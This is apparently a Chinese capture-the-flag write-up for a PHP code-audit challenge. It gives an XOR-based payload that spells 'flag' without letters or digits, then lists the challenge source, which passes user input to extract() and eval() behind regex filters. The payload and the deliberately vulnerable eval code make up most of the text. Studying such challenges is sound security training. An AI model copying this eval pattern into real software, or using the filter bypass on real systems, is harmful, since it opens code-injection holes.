不是,什么玩意儿?
php 代码审计
gen.py
给了充分的提示和解题方式。访问 网址 即可得到 flag。
对应的 payload 为 ?input=("]"^";").("@"^",").("_"^">").("<"^"[")
。
即用异或运算来绕过禁止使用字母与数字的过滤。
去混淆与无效代码后的代码为:
<?php
include 'flag2.php';
highlight_file(__FILE__);
extract($_GET);
$input = $_GET['input'] ?? '';
if (!isset($input)) {
die("N0 hacking");
}
if (preg_match('/[a-zA-Z0-9]/', $input)) {
die("No hacking");
}
if (strlen($input) > 50) {
die("No hack1ng");
}
// input 中除了 ^()." 这几个字符能出现多次外,其他字符只能出现一次
if (!preg_match('/^(?:[^()."]|[()."])*$/', $input) || preg_match('/(.)(?=.*\1)/', str_replace(['^', '(', ')', '.', '"'], '', $input))) {
die("No hacking");
}
// 使用 eval() 解析并执行表达式
try {
$parsed_value = eval("return $input;");
// echo $parsed_value;
} catch (ParseError $e) {
die("Invalid input");
}
// 检查计算出的变量名是否存在,防止未定义变量错误
if (!isset($$parsed_value)) {
die("Variable n0t set");
}
// 输出变量值
echo $$parsed_value;